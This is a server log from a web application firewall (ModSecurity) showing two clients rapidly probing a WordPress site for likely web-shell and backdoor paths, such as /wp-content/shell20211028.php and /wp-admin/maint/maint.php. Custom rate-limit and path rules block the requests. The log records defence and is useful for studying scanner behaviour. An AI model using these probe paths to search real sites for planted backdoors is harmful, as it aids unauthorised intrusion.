[Thu Feb 26 22:25:17.031112 2026] [:error] [pid 55122:tid 55144] [client 4.194.131.131:2708] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXzYLiR0OfjFxvcN82WAAAANQ"]
[Thu Feb 26 22:25:17.242766 2026] [:error] [pid 54990:tid 55011] [client 4.194.131.131:3025] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXzXtr2qmt_mBhH2wvVgAAABI"]
[Thu Feb 26 22:25:17.251528 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:61325] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBXzQmK1w2kZvh5eLHQNwAAAIk"]
[Thu Feb 26 22:25:17.500710 2026] [:error] [pid 3883:tid 3905] [client 4.194.131.131:2430] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaBXzeA33x90V6yYHaj2kQAAAVM"]
[Thu Feb 26 22:25:17.683191 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2840] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaBXzQmK1w2kZvh5eLHQOgAAAI0"]
[Thu Feb 26 22:25:17.829264 2026] [:error] [pid 3883:tid 3906] [client 20.151.107.14:62972] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBXzeA33x90V6yYHaj2lgAAAVQ"]
[Thu Feb 26 22:25:17.877969 2026] [:error] [pid 3883:tid 3902] [client 4.194.131.131:3021] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaBXzeA33x90V6yYHaj2mAAAAVA"]
[Thu Feb 26 22:25:18.099260 2026] [:error] [pid 54991:tid 55023] [client 4.194.131.131:2423] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaBXzt4Zx-mJ8gbRB2j-sAAAAEM"]
[Thu Feb 26 22:25:18.276766 2026] [:error] [pid 20419:tid 20438] [client 4.194.131.131:3020] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBXzu3DVDvMfTYYUBVobQAAAdA"]
[Thu Feb 26 22:25:18.509910 2026] [:error] [pid 20419:tid 20424] [client 4.194.131.131:2411] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBXzu3DVDvMfTYYUBVobgAAAcI"]
[Thu Feb 26 22:25:18.697347 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:64170] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aaBXzm2sMNmj-yekUk1OKwAAAhI"]
[Thu Feb 26 22:25:18.732039 2026] [:error] [pid 54991:tid 55029] [client 4.194.131.131:3035] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBXzt4Zx-mJ8gbRB2j-sgAAAEk"]
[Thu Feb 26 22:25:18.925123 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:2741] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBXzm2sMNmj-yekUk1OLQAAAgg"]
[Thu Feb 26 22:25:19.104587 2026] [:error] [pid 44444:tid 44450] [client 4.194.131.131:3041] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXz22sMNmj-yekUk1OMgAAAgA"]
[Thu Feb 26 22:25:19.287606 2026] [:error] [pid 3883:tid 3904] [client 4.194.131.131:2424] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXz-A33x90V6yYHaj2mwAAAVI"]
[Thu Feb 26 22:25:19.327436 2026] [:error] [pid 3883:tid 3895] [client 20.151.107.14:64167] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aaBXz-A33x90V6yYHaj2nAAAAUk"]
[Thu Feb 26 22:25:19.479429 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2697] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXz22sMNmj-yekUk1ONAAAAhU"]
[Thu Feb 26 22:25:19.668439 2026] [:error] [pid 55122:tid 55126] [client 4.194.131.131:3046] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXz4LiR0OfjFxvcN82XwAAAMI"]
[Thu Feb 26 22:25:19.879452 2026] [:error] [pid 3883:tid 3893] [client 20.151.107.14:64193] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aaBXz-A33x90V6yYHaj2nQAAAUc"]
[Thu Feb 26 22:25:19.882110 2026] [:error] [pid 3883:tid 3908] [client 4.194.131.131:3034] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaBXz-A33x90V6yYHaj2ngAAAVY"]
[Thu Feb 26 22:25:20.082441 2026] [:error] [pid 20419:tid 20423] [client 4.194.131.131:3045] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaBX0O3DVDvMfTYYUBVodAAAAcE"]
[Thu Feb 26 22:25:20.256782 2026] [:error] [pid 44444:tid 44453] [client 4.194.131.131:2427] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaBX0G2sMNmj-yekUk1ONgAAAgM"]
[Thu Feb 26 22:25:20.372109 2026] [:error] [pid 54991:tid 55034] [client 20.151.107.14:63591] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aaBX0N4Zx-mJ8gbRB2j-uQAAAE4"]
[Thu Feb 26 22:25:20.437773 2026] [:error] [pid 44444:tid 44470] [client 4.194.131.131:2722] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaBX0G2sMNmj-yekUk1ONwAAAhQ"]
[Thu Feb 26 22:25:20.616061 2026] [:error] [pid 54991:tid 55031] [client 4.194.131.131:3016] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBX0N4Zx-mJ8gbRB2j-vQAAAEs"]
[Thu Feb 26 22:25:20.794029 2026] [:error] [pid 54991:tid 55037] [client 4.194.131.131:3011] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBX0N4Zx-mJ8gbRB2j-wAAAAFE"]
[Thu Feb 26 22:25:20.840555 2026] [:error] [pid 54991:tid 55042] [client 20.151.107.14:64154] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/profile.php"] [unique_id "aaBX0N4Zx-mJ8gbRB2j-wQAAAFY"]
[Thu Feb 26 22:25:20.982692 2026] [:error] [pid 55051:tid 55061] [client 4.194.131.131:2721] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBX0AmK1w2kZvh5eLHQQwAAAIc"]
[Thu Feb 26 22:25:21.169902 2026] [:error] [pid 54991:tid 55029] [client 4.194.131.131:3022] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBX0d4Zx-mJ8gbRB2j-xgAAAEk"]
[Thu Feb 26 22:25:21.294551 2026] [:error] [pid 54991:tid 55030] [client 20.151.107.14:62889] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/profile.php"] [unique_id "aaBX0d4Zx-mJ8gbRB2j-yAAAAEo"]
[Thu Feb 26 22:25:21.399469 2026] [:error] [pid 54991:tid 55035] [client 4.194.131.131:2709] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBX0d4Zx-mJ8gbRB2j-zAAAAE8"]
[Thu Feb 26 22:25:21.573432 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2750] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBX0d4Zx-mJ8gbRB2j-zwAAAEw"]
[Thu Feb 26 22:25:21.762066 2026] [:error] [pid 25311:tid 25317] [client 4.194.131.131:2381] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBX0dfdM__yZAgJFSvr5wAAAYM"]
[Thu Feb 26 22:25:21.762325 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:64157] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/profile.php"] [unique_id "aaBX0QmK1w2kZvh5eLHQRgAAAIk"]
[Thu Feb 26 22:25:21.949269 2026] [:error] [pid 55051:tid 55071] [client 4.194.131.131:3038] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBX0QmK1w2kZvh5eLHQRwAAAJE"]
[Thu Feb 26 22:25:22.131238 2026] [:error] [pid 44444:tid 44462] [client 4.194.131.131:2090] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaBX0m2sMNmj-yekUk1OOwAAAgw"]
[Thu Feb 26 22:25:22.279686 2026] [:error] [pid 3883:tid 3891] [client 20.151.107.14:63615] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/profile.php"] [unique_id "aaBX0uA33x90V6yYHaj2oAAAAUU"]
[Thu Feb 26 22:25:22.317074 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:3040] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaBX0m2sMNmj-yekUk1OPQAAAhE"]
[Thu Feb 26 22:25:22.492995 2026] [:error] [pid 44444:tid 44459] [client 4.194.131.131:2714] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaBX0m2sMNmj-yekUk1OPgAAAgk"]
[Thu Feb 26 22:25:22.705692 2026] [:error] [pid 20419:tid 20436] [client 4.194.131.131:2693] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaBX0u3DVDvMfTYYUBVodgAAAc4"]
[Thu Feb 26 22:25:22.776928 2026] [:error] [pid 20419:tid 20425] [client 20.151.107.14:62897] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/index.php"] [unique_id "aaBX0u3DVDvMfTYYUBVoeAAAAcM"]
[Thu Feb 26 22:25:22.898739 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2409] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBX0m2sMNmj-yekUk1OQwAAAhU"]
[Thu Feb 26 22:25:23.094470 2026] [:error] [pid 20419:tid 20445] [client 4.194.131.131:2743] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBX0-3DVDvMfTYYUBVoeQAAAdc"]
[Thu Feb 26 22:25:23.275123 2026] [:error] [pid 55051:tid 55066] [client 4.194.131.131:3050] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBX0wmK1w2kZvh5eLHQSwAAAIw"]
[Thu Feb 26 22:25:23.302847 2026] [:error] [pid 55051:tid 55078] [client 20.151.107.14:64205] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell20211028.php"] [unique_id "aaBX0wmK1w2kZvh5eLHQTAAAAJg"]
[Thu Feb 26 22:25:23.464322 2026] [:error] [pid 54991:tid 55020] [client 4.194.131.131:2740] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBX094Zx-mJ8gbRB2j-0gAAAEA"]
[Thu Feb 26 22:25:23.639281 2026] [:error] [pid 44444:tid 44453] [client 4.194.131.131:3039] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aaBX022sMNmj-yekUk1ORwAAAgM"]
[Thu Feb 26 22:25:23.783205 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:64218] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell20211028.php"] [unique_id "aaBX022sMNmj-yekUk1OSQAAAgA"]
[Thu Feb 26 22:25:23.842668 2026] [:error] [pid 3883:tid 3887] [client 4.194.131.131:3067] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aaBX0-A33x90V6yYHaj2pgAAAUE"]
[Thu Feb 26 22:25:24.021384 2026] [:error] [pid 44444:tid 44457] [client 4.194.131.131:3055] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aaBX1G2sMNmj-yekUk1OSwAAAgc"]
[Thu Feb 26 22:25:24.205170 2026] [:error] [pid 44444:tid 44469] [client 20.151.107.14:64190] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell20211028.php"] [unique_id "aaBX1G2sMNmj-yekUk1OTAAAAhM"]
[Thu Feb 26 22:25:24.218525 2026] [:error] [pid 55122:tid 55141] [client 4.194.131.131:3031] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aaBX1ILiR0OfjFxvcN82ZAAAANE"]
[Thu Feb 26 22:25:24.396193 2026] [:error] [pid 44444:tid 44454] [client 4.194.131.131:2723] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaBX1G2sMNmj-yekUk1OTQAAAgQ"]
[Thu Feb 26 22:25:24.571091 2026] [:error] [pid 54990:tid 55016] [client 4.194.131.131:2053] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaBX1Htr2qmt_mBhH2wvVwAAABc"]
[Thu Feb 26 22:25:24.750837 2026] [:error] [pid 3883:tid 3906] [client 4.194.131.131:3060] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaBX1OA33x90V6yYHaj2qwAAAVQ"]
[Thu Feb 26 22:25:24.775479 2026] [:error] [pid 3883:tid 3907] [client 20.151.107.14:64192] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell20211028.php"] [unique_id "aaBX1OA33x90V6yYHaj2rAAAAVU"]
